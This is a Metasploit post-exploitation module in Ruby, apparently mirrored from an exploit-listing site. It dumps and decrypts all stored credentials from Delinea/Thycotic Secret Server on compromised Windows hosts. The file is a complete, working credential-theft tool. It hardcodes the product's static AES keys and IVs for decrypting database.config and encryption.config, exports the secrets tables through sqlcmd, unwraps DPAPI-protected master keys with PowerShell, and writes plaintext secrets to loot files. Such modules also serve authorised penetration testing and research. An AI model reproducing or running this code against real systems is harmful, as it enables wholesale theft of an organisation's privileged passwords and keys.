Share
## https://sploitus.com/exploit?id=MSF:POST-WINDOWS-GATHER-CREDENTIALS-THYCOTIC_SECRETSERVER_DUMP-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::MSSQL
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Registry

  Rank = ManualRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Delinea Thycotic Secret Server Dump',
        'Description' => %q{
          This module exports and decrypts Secret Server credentials to a CSV file;
          it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic
          Secret Server installed. Master Encryption Key (MEK) and associated IV values are
          decrypted from encryption.config using a static key baked into the software. The
          module also supports parameter recovery for encryption configs configured with
          Windows DPAPI.
        },
        'Author' => 'npm[at]cesium137.io',
        'Platform' => [ 'win' ],
        'DisclosureDate' => '2022-08-15',
        'SessionTypes' => [ 'meterpreter' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://github.com/denandz/SecretServerSecretStealer']
        ],
        'Actions' => [
          [
            'Dump',
            {
              'Description' => 'Export Secret Server database and perform decryption'
            }
          ],
          [
            'Export',
            {
              'Description' => 'Export Secret Server database without decryption'
            }
          ]
        ],
        'DefaultAction' => 'Dump',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'Privileged' => true
      )
    )
  end

  def export_header_row_legacy
    'SecretID,Active,SecretType,SecretName,IsEncrypted,IsSalted,Use256Key,SecretFieldName,ItemValue,ItemValue2,IV'
  end

  def export_header_row_modern
    'SecretID,Active,SecretType,SecretName,IsEncrypted,IsSalted,Use256Key,SecretFieldName,ItemKey,IvMEK,ItemValue,ItemValue2,IV'
  end

  def result_header_row
    'SecretID,Active,SecretType,SecretName,FieldName,Plaintext,Plaintext2'
  end

  def run
    fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
    current_action = action.name.downcase
    if current_action == 'export' || current_action == 'dump'
      print_status('Performing export of Secret Server SQL database to CSV file')
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
      print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
    end
    if current_action == 'dump'
      print_status('Performing decryption of Secret Server SQL database')
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))
      print_good("Decrypted Secret Server Database Dump: #{decrypted_csv_file}")
    end
  end

  def export
    unless (csv = dump_thycotic_db)
      print_error('No records exported from SQL server')
      return false
    end
    total_rows = csv.count
    print_good("#{total_rows} rows exported, #{@ss_total_secrets} unique SecretIDs")
    encrypted_data = csv.to_s.delete("\000")
    store_loot('thycotic_secretserver_enc', 'text/csv', rhost, encrypted_data, "#{@ss_db_name}.csv", 'Encrypted Database Dump')
  end

  def decrypt(csv_file)
    unless (csv = read_csv_file(csv_file))
      print_error('No records imported from CSV dataset')
      return false
    end
    total_rows = csv.count
    print_good("#{total_rows} rows loaded, #{@ss_total_secrets} unique SecretIDs")
    result = decrypt_thycotic_db(csv)
    ss_processed_rows = result[:processed_rows]
    ss_blank_rows = result[:blank_rows]
    ss_decrypted_rows = result[:decrypted_rows]
    ss_plaintext_rows = result[:plaintext_rows]
    ss_failed_rows = result[:failed_rows]
    result_rows = result[:result_csv]
    unless result_rows
      print_error('Failed to decrypt CSV dataset')
      return false
    end
    total_result_rows = result_rows.count - 1 # Do not count header row
    total_result_secrets = result_rows['SecretID'].uniq.count - 1
    if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
      print_error('No rows could be processed')
      return false
    elsif ss_failed_rows > 0
      print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
    else
      print_good("#{ss_processed_rows} rows processed")
    end
    total_records = ss_decrypted_rows + ss_plaintext_rows
    print_status("#{total_records} rows recovered: #{ss_plaintext_rows} plaintext, #{ss_decrypted_rows} decrypted (#{ss_blank_rows} blank)")
    decrypted_data = result_rows.to_s.delete("\000")
    print_status("#{total_result_rows} rows written (#{ss_blank_rows} blank rows withheld)")
    print_good("#{total_result_secrets} unique SecretID records recovered")
    store_loot('thycotic_secretserver_dec', 'text/csv', rhost, decrypted_data, "#{@ss_db_name}.csv", 'Decrypted Database Dump')
  end

  def dump_thycotic_db
    if @ss_build <= 8.7 # REALLY old-style: ItemKey and MekIV do not exist
      sql_query = 'SET NOCOUNT ON;SELECT s.SecretID,s.Active,CONVERT(VARBINARY(256),t.SecretTypeName) SecretType,
        CONVERT(VARBINARY(256),s.SecretName) SecretName,i.IsEncrypted,i.IsSalted,i.Use256Key,
        CONVERT(VARBINARY(256),f.SecretFieldName) SecretFieldName,i.ItemValue,i.ItemValue2,i.IV
        FROM tbSecretItem AS i JOIN tbSecret AS s ON (s.SecretID=i.SecretID)
        JOIN tbSecretField AS f ON (i.SecretFieldID=f.SecretFieldID) JOIN tbSecretType AS t ON (s.SecretTypeId=t.SecretTypeID)'
      export_header_row = export_header_row_legacy
    else # All other versions seem to support this schema
      sql_query = 'SET NOCOUNT ON;SELECT s.SecretID,s.Active,CONVERT(VARBINARY(256),t.SecretTypeName) SecretType,
        CONVERT(VARBINARY(256),s.SecretName) SecretName,i.IsEncrypted,i.IsSalted,i.Use256Key,
        CONVERT(VARBINARY(256),f.SecretFieldName) SecretFieldName,s.[Key],s.IvMEK,i.ItemValue,i.ItemValue2,i.IV
        FROM tbSecretItem AS i JOIN tbSecret AS s ON (s.SecretID=i.SecretID)
        JOIN tbSecretField AS f ON (i.SecretFieldID=f.SecretFieldID) JOIN tbSecretType AS t ON (s.SecretTypeId=t.SecretTypeID)'
      export_header_row = export_header_row_modern
    end
    sql_cmd = sql_prepare(sql_query)
    print_status('Export Secret Server DB ...')
    query_result = cmd_exec(sql_cmd)
    csv = CSV.parse(query_result.gsub("\r", ''), row_sep: :auto, headers: export_header_row, quote_char: "\x00", skip_blanks: true)
    unless csv
      print_error('Error parsing SQL dataset into CSV format')
      return false
    end
    @ss_total_secrets = csv['SecretID'].uniq.count
    unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
      print_error('SQL dataset contains no SecretID column values')
      return false
    end
    csv
  end

  def decrypt_thycotic_db(csv_dataset)
    current_row = 0
    decrypted_rows = 0
    plaintext_rows = 0
    blank_rows = 0
    failed_rows = 0
    result_csv = CSV.parse(result_header_row, headers: :first_row, write_headers: true, return_headers: true)
    print_status('Process Secret Server DB ...')
    csv_dataset.each do |row|
      current_row += 1
      secret_id = row['SecretID']
      if secret_id.nil?
        failed_rows += 1
        print_error("Row #{current_row} missing SecretID column, skipping")
        next
      end
      secret_field = [row['SecretFieldName'][2..]].pack('H*')
      secret_ciphertext_1 = row['ItemValue']
      if secret_ciphertext_1.nil?
        vprint_warning("SecretID #{secret_id} field '#{secret_field}' ItemValue column nil, excluding")
        blank_rows += 1
        next
      end
      secret_ciphertext_2 = row['ItemValue2']
      secret_active = row['Active'].to_i
      secret_name = [row['SecretName'][2..]].pack('H*')
      secret_type = [row['SecretType'][2..]].pack('H*')
      secret_encrypted = row['IsEncrypted'].to_i
      secret_use256 = row['Use256Key'].to_i
      secret_iv_hex = row['IV'][2..]
      if @ss_build >= 10.4 || secret_iv_hex == 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF' # New-style: ItemKey and ItemIV are part of the key blob
        secret_keyfield_hex = row['ItemKey'][2..]
        miv_hex = secret_keyfield_hex[4..35]
        key_hex = secret_keyfield_hex[100..]
        iv_hex = secret_ciphertext_1[4..35]
        value_1_hex = secret_ciphertext_1[100..]
      elsif @ss_build <= 8.7 # REALLY old-style: ItemKey and MekIV do not exist
        key_hex = ['FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'].pack('H*')
        miv_hex = ['FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'].pack('H*')
        iv_hex = secret_iv_hex
        value_1_hex = secret_ciphertext_1
      else # Old-style: ItemKey and ItemIV are stored as columns
        key_hex = row['ItemKey'][2..]
        miv_hex = row['IvMEK'][2..]
        iv_hex = secret_iv_hex
        value_1_hex = secret_ciphertext_1
      end
      value_1 = [value_1_hex].pack('H*')
      key = [key_hex].pack('H*')
      iv = [iv_hex].pack('H*')
      miv = [miv_hex].pack('H*')
      if secret_encrypted == 1
        secret_plaintext_1 = thycotic_secret_decrypt(secret_id: secret_id, secret_field: secret_field, secret_value: value_1, secret_key: key, secret_iv: iv, secret_miv: miv, secret_use256: secret_use256)
        if secret_plaintext_1.nil?
          vprint_warning("SecretID #{secret_id} field '#{secret_field}' decrypted ItemValue nil, excluding")
          blank_rows += 1
          next
        end
        # TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
        # For now just return ciphertext if it exists.
        secret_plaintext_2 = secret_ciphertext_2
        if !secret_plaintext_1 || !secret_plaintext_2
          print_error("SecretID #{secret_id} field '#{secret_field}' failed to decrypt")
          vprint_error(row.to_s)
          failed_rows += 1
          next
        end
        secret_disposition = 'decrypted'
        decrypted_rows += 1
      else
        secret_plaintext_1 = secret_ciphertext_1
        secret_plaintext_2 = secret_ciphertext_2
        secret_disposition = 'plaintext'
        plaintext_rows += 1
      end
      if !secret_plaintext_1.empty? && !secret_plaintext_2.empty?
        result_line = [secret_id.to_s, secret_active.to_s, secret_type.to_s, secret_name.to_s, secret_field.to_s, secret_plaintext_1.to_s, secret_plaintext_2.to_s]
        result_row = CSV.parse_line(CSV.generate_line(result_line).gsub("\r", ''))
        result_csv << result_row
        vprint_status("SecretID #{secret_id} field '#{secret_field}' ItemValue recovered: #{secret_disposition}")
      else
        vprint_warning("SecretID #{secret_id} field '#{secret_field}' recovered ItemValue empty, excluding")
        blank_rows += 1
      end
    end
    {
      processed_rows: current_row,
      blank_rows: blank_rows,
      decrypted_rows: decrypted_rows,
      plaintext_rows: plaintext_rows,
      failed_rows: failed_rows,
      result_csv: result_csv
    }
  end

  def init_module
    @ss_hostname = get_env('COMPUTERNAME')
    print_status("Hostname #{@ss_hostname} IPv4 #{rhost}")
    get_sql_client
    unless @sql_client == 'sqlcmd'
      print_error('Unable to identify sqlcmd SQL client on target host')
      return false
    end
    vprint_good("Found SQL client: #{@sql_client}")
    unless (ss_web_path = get_secretserver_web_path)
      print_error('Could not determine Secret Server IIS web root filesystem path')
      return false
    end
    unless init_thycotic_db(ss_web_path)
      print_error('Could not initialize Secret Server database')
      return false
    end
    get_secretserver_version
    unless @ss_build
      print_error('Could not determine Secret Server build')
      return false
    end
    unless init_thycotic_encryption(ss_web_path)
      print_error('Could not initialize Secret Server encryption parameters')
      return false
    end
    true
  end

  def read_csv_file(file_name)
    unless File.exist?(file_name)
      print_error("CSV file #{file_name} not found")
      return false
    end
    csv_rows = File.binread(file_name)
    csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
    unless csv
      print_error("Error importing CSV file #{csv_file}")
      return false
    end
    @ss_total_secrets = csv['SecretID'].uniq.count
    unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
      print_error("Provided CSV file #{csv_file} contains no SecretID column values")
      return false
    end
    csv
  end

  def get_secretserver_web_path
    reg_key = 'HKLM\\SOFTWARE\\Thycotic\\Secret Server\\'
    unless registry_key_exist?(reg_key)
      print_error("Registry key #{reg_key} not found")
      return false
    end
    ss_web_path = registry_getvaldata(reg_key, 'WebDir')
    unless ss_web_path
      print_error("Could not find WebDir registry entry under #{reg_key}")
      return false
    end
    vprint_status('Secret Server Web Root:')
    vprint_status("\t#{ss_web_path}")
    ss_web_path
  end

  def get_secretserver_version
    sql_query = "SET NOCOUNT ON; SELECT TOP 1
      CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 1))) AS [Major],
      CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 2))) AS [Minor],
      CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 3))) AS [Rev]
      FROM tbVersion ORDER BY [Major] DESC, [Minor] DESC, [Rev] DESC"
    sql_cmd = sql_prepare(sql_query)
    version_query_result = cmd_exec(sql_cmd).gsub("\r", '')
    csv = CSV.parse(version_query_result.gsub("\r", ''), row_sep: :auto, headers: 'Major,Minor,Rev', quote_char: "\x00", skip_blanks: true)
    unless csv
      print_error('Error parsing SQL dataset into CSV format')
      return false
    end
    ss_build_major = csv['Major'].first.to_i
    ss_build_minor = csv['Minor'].first.to_i
    ss_build_rev = csv['Rev'].first.to_i
    @ss_build = "#{ss_build_major}.#{ss_build_minor}#{ss_build_rev}".to_f
    unless @ss_build > 0
      print_error('Error determining Secret Server version from SQL query')
      return false
    end
    print_status("Secret Server Build #{@ss_build}")
    print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
    true
  end

  def sql_prepare(sql_query)
    if @ss_db_integrated_auth
      sql_cmd = "#{@sql_client} -d \"#{@ss_db_name}\" -S #{@ss_db_instance_path} -E -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I"
    else
      sql_cmd = "#{@sql_client} -d \"#{@ss_db_name}\" -S #{@ss_db_instance_path} -U \"#{@ss_db_user}\" -P \"#{@ss_db_pass}\" -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I"
    end
    sql_cmd
  end

  def read_config_file(ss_config_file)
    unless file_exist?(ss_config_file)
      print_error("Configuration file '#{ss_config_file}' not found")
      return false
    end
    read_file(ss_config_file)
  end

  def init_thycotic_encryption(ss_web_path)
    print_status('Decrypt encryption.config ...')
    ss_enc_config_file = ss_web_path + 'encryption.config'
    vprint_status('Encryption configuration file path:')
    vprint_status("\t#{ss_enc_config_file}")
    ss_enc_conf_bytes = read_config_file(ss_enc_config_file)
    if @ss_build >= 10.4
      vprint_status('Using Modern (AES-256 + XOR) file decryption routine')
      enc_conf = thycotic_encryption_config_decrypt_modern(ss_enc_conf_bytes)
    else
      vprint_status('Using Legacy (AES-128) file decryption routine')
      enc_conf = thycotic_encryption_config_decrypt_legacy(ss_enc_conf_bytes)
    end
    unless enc_conf
      print_error('Failed to decrypt encryption.config')
      return false
    end
    ss_key_hex = enc_conf['KEY']
    ss_key256_hex = enc_conf['KEY256']
    ss_iv_hex = enc_conf['IV']
    if enc_conf['ISENCRYPTEDWITHDPAPI'].to_s.upcase == 'TRUE'
      print_status('DPAPI encryption has been configured for the Master Encryption Key, attempting LocalMachine decryption ...')
      ss_key_hex = dpapi_decrypt(ss_key_hex)
      ss_key256_hex = dpapi_decrypt(ss_key256_hex)
    end
    if ss_key_hex.nil? || ss_key256_hex.nil? || ss_iv_hex.nil?
      print_error("Failed to recover Master Encryption Key values from #{ss_enc_config_file}")
      return false
    end
    @ss_iv = [ss_iv_hex].pack('H*')
    @ss_key = [ss_key_hex].pack('H*')
    @ss_key256 = [ss_key256_hex].pack('H*')
    extra_service_data = {
      address: Rex::Socket.getaddress(rhost),
      port: 443,
      service_name: 'aes',
      protocol: 'tcp',
      workspace_id: myworkspace_id,
      module_fullname: fullname,
      origin_type: :service,
      realm_key: Metasploit::Model::Realm::Key::WILDCARD,
      realm_value: @ss_hostname
    }
    store_valid_credential(user: 'KEY', private: ss_key_hex, service_data: extra_service_data)
    store_valid_credential(user: 'KEY256', private: ss_key256_hex, service_data: extra_service_data)
    store_valid_credential(user: 'IV', private: ss_iv_hex, service_data: extra_service_data)
    print_good('Secret Server Encryption Configuration:')
    print_good("\t   KEY: #{ss_key_hex}")
    print_good("\tKEY256: #{ss_key256_hex}")
    print_good("\t    IV: #{ss_iv_hex}")
    true
  end

  def thycotic_encryption_config_decrypt_modern(enc_conf_bytes)
    res = {}
    # Burned-in static keys and IV
    aes_key = ['83fb558645767abb199755eafb4fbc5167113da8ee69f13267388dc3adcdb088'].pack('H*')
    aes_iv = ['ad478c63f93d5201e0a1bbfff0072b6b'].pack('H*')
    xor_key = '8200ab18b1a1965f1759c891e87bc32f208843331d83195c21ee03148b531a0e'.scan(/../).map(&:hex)
    ciphertext_bytes = enc_conf_bytes[41..]
    return false unless (plaintext_conf = aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv))

    xor_1 = plaintext_conf[1..4].unpack('l*').first
    xor_2 = plaintext_conf[5..8].unpack('l*').first
    num_keys = xor_1 ^ xor_2
    working_offset = 9
    i = 1
    until i > num_keys
      k = nil
      v = nil
      for is_key in [true, false] do
        idx_xor = plaintext_conf[working_offset..working_offset + 3].unpack('l*').first
        idx_len = plaintext_conf[working_offset + 4..working_offset + 7].unpack('l*').first
        len = idx_len ^ idx_xor
        key_xor = plaintext_conf[working_offset + 8..working_offset + 7 + len].unpack('C*')
        plaintext = xor_decrypt(key_xor, xor_key).pack('C*')
        working_offset += len + 8
        if is_key
          k = plaintext.delete("\000")
        else
          v = plaintext.delete("\000")
        end
      end
      if !k
        next
      else
        res[k.upcase] = v
      end

      i += 1
    end
    res
  rescue StandardError => e
    vprint_error("Exception in #{__method__}: #{e.message}")
    return false
  end

  def thycotic_encryption_config_decrypt_legacy(enc_conf_bytes)
    res = {}
    # Burned-in static keys and IV
    aes_key_legacy = ['020216980119760c0b79017097830b1d'].pack('H*')
    aes_iv_legacy = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
    return false unless (plaintext_conf = aes_cbc_decrypt(enc_conf_bytes, aes_key_legacy, aes_iv_legacy).delete("\000"))

    plaintext_conf_hex = plaintext_conf.unpack('H*').first
    unless plaintext_conf_hex.match?(/4b65790556616c7565/i) # magic bytes
      print_error('Could not locate encryption.config key/value header in binary stream')
      return false
    end
    working_offset = (plaintext_conf_hex.index(/4b65790556616c7565/i) / 2) + 14
    loop do
      k = nil
      v = nil
      for is_key in [true, false] do
        data_len = plaintext_conf[working_offset..working_offset + 1].unpack('C*').first
        data_val = plaintext_conf[working_offset + 1, data_len]
        if is_key
          k = data_val
          working_offset += data_len + 3
        else
          v = data_val
          working_offset += data_len + 6
        end
      end
      if !k
        next
      else
        res[k.upcase] = v
      end
      break if working_offset >= plaintext_conf.length
    end
    res
  rescue StandardError => e
    vprint_error("Exception in #{__method__}: #{e.message}")
    return false
  end

  def init_thycotic_db(ss_web_path)
    print_status('Decrypt database.config ...')
    ss_db_config_file = ss_web_path + 'database.config'
    vprint_status('Database configuration file path:')
    vprint_status("\t#{ss_db_config_file}")
    unless (db_conf = get_thycotic_database_config(read_config_file(ss_db_config_file)))
      print_error("Error reading database configuration file #{ss_db_config_file}")
      return false
    end
    db_instance_path = db_conf['DATA SOURCE']
    db_name = db_conf['INITIAL CATALOG']
    db_user = db_conf['USER ID']
    db_pass = db_conf['PASSWORD']
    db_auth = db_conf['INTEGRATED SECURITY']
    if db_instance_path.nil? || db_name.nil?
      print_error("Failed to recover database parameters from #{ss_db_config_file}")
      return false
    end
    @ss_db_instance_path = db_instance_path
    @ss_db_name = db_name
    @ss_db_integrated_auth = false
    print_good('Secret Server SQL Database Connection Configuration:')
    print_good("\tInstance Name: #{@ss_db_instance_path}")
    print_good("\tDatabase Name: #{@ss_db_name}")
    if !db_auth.nil?
      if db_auth.downcase == 'true'
        @ss_db_integrated_auth = true
        print_good("\tDatabase User: (Windows Integrated)")
        print_warning('The database uses Windows authentication')
        print_warning('Session identity must have access to the SQL server instance to proceed')
      end
    elsif !db_user.nil? && !db_pass.nil?
      @ss_db_user = db_user
      @ss_db_pass = db_pass
      extra_service_data = {
        address: Rex::Socket.getaddress(rhost),
        port: 1433,
        service_name: 'mssql',
        protocol: 'tcp',
        workspace_id: myworkspace_id,
        module_fullname: fullname,
        origin_type: :service,
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
        realm_value: @ss_db_instance_path
      }
      store_valid_credential(user: @ss_db_user, private: @ss_db_pass, service_data: extra_service_data)
      print_good("\tDatabase User: #{@ss_db_user}")
      print_good("\tDatabase Pass: #{@ss_db_pass}")
    else
      print_error("Could not extract SQL login information from #{ss_db_config_file}")
      return false
    end
  end

  def get_thycotic_database_config(db_conf_bytes)
    res = {}
    # Burned-in static keys and IV
    aes_key = ['020216980119760c0b79017097830b1d'].pack('H*')
    aes_iv = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
    unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
      print_error('Error decrypting database.config')
      return false
    end
    unless (db_str = get_thycotic_database_string(plaintext_conf))
      print_error('Could not extract connectionString from database.config')
      return false
    end
    db_connection_elements = db_str.split(';')
    db_connection_elements.each do |element|
      pair = element.to_s.split('=')
      k = pair[0]
      v = pair[1]
      res[k.upcase] = v
    end
    res
  rescue StandardError => e
    vprint_error("Exception in #{__method__}: #{e.message}")
    return false
  end

  def get_thycotic_database_string(plaintext_conf)
    return false unless plaintext_conf.match?(/connectionString/i)

    working_offset = plaintext_conf.index(/connectionString/i) + 18
    byte_len = plaintext_conf.length - working_offset
    working_bytes = plaintext_conf[working_offset, byte_len]
    val_len = working_bytes[0].unpack('H*').first.to_i(16).to_i
    working_bytes[2, val_len]
  end

  def thycotic_secret_decrypt(options = {})
    secret_id = options.fetch(:secret_id)
    secret_field = options.fetch(:secret_field)
    secret_value = options.fetch(:secret_value)
    secret_key = options.fetch(:secret_key)
    secret_iv = options.fetch(:secret_iv)
    secret_miv = options.fetch(:secret_miv)
    secret_use256 = options.fetch(:secret_use256)
    if secret_use256 == 1
      mek = @ss_key256
    else
      mek = @ss_key
    end
    intermediate_key = false
    if @ss_build > 8.7
      intermediate_key = aes_cbc_decrypt(secret_key, mek, secret_miv)
      intermediate_key ||= secret_key
    else
      intermediate_key = mek
    end
    decrypted_secret = aes_cbc_decrypt(secret_value, intermediate_key, secret_iv)
    unless decrypted_secret
      vprint_warning("SecretID #{secret_id} field '#{secret_field}' decryption failed, attempting pure MEK decryption as last resort")
      decrypted_secret = aes_cbc_decrypt(secret_value, mek, @ss_iv)
    end
    return false unless decrypted_secret

    if @ss_build >= 10.4
      plaintext = decrypted_secret.delete("\000")[4..]
    else
      plaintext = decrypted_secret.delete("\000")
    end
    if !plaintext.to_s.empty?
      # Catch where decryption did not throw an exception but produced invalid UTF-8 plaintext
      # This was evident in a few test cases where the secret value appeared to have been pasted from Microsoft Word
      if !plaintext.force_encoding('UTF-8').valid_encoding?
        plaintext = Base64.strict_encode64(plaintext)
        print_warning("SecretID #{secret_id} field '#{secret_field}' contains invalid UTF-8 and will be stored as a Base64 string in the output file")
      end
      return plaintext
    else
      return nil
    end
  end

  def xor_decrypt(ciphertext_bytes, xor_key)
    pos = 0
    res = []
    for i in 0..ciphertext_bytes.length - 1 do
      res[i] = ciphertext_bytes[i] ^ xor_key[pos]
      pos += 1
      if pos == xor_key.length
        pos = 0
      end
    end
    res
  end

  def aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv)
    return false unless aes_iv.length == 16

    case aes_key.length
    when 16
      decipher = OpenSSL::Cipher.new('aes-128-cbc')
    when 32
      decipher = OpenSSL::Cipher.new('aes-256-cbc')
    else
      return false
    end
    decipher.decrypt
    decipher.key = aes_key
    decipher.iv = aes_iv
    decipher.padding = 1
    decipher.update(ciphertext_bytes) + decipher.final
  rescue OpenSSL::Cipher::CipherError
    return false
  end

  def dpapi_decrypt(b64)
    unless b64.match?(%r{^[-A-Za-z0-9+/]*={0,3}$})
      print_error('DPAPI decrypt: invalid Base64 ciphertext')
      return nil
    end
    cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
    plaintext = psh_exec(cmd_str)
    unless plaintext.match?(/^[0-9a-f]+$/i)
      print_error('Failed DPAPI LocalMachine decryption')
      return nil
    end
    plaintext
  end
end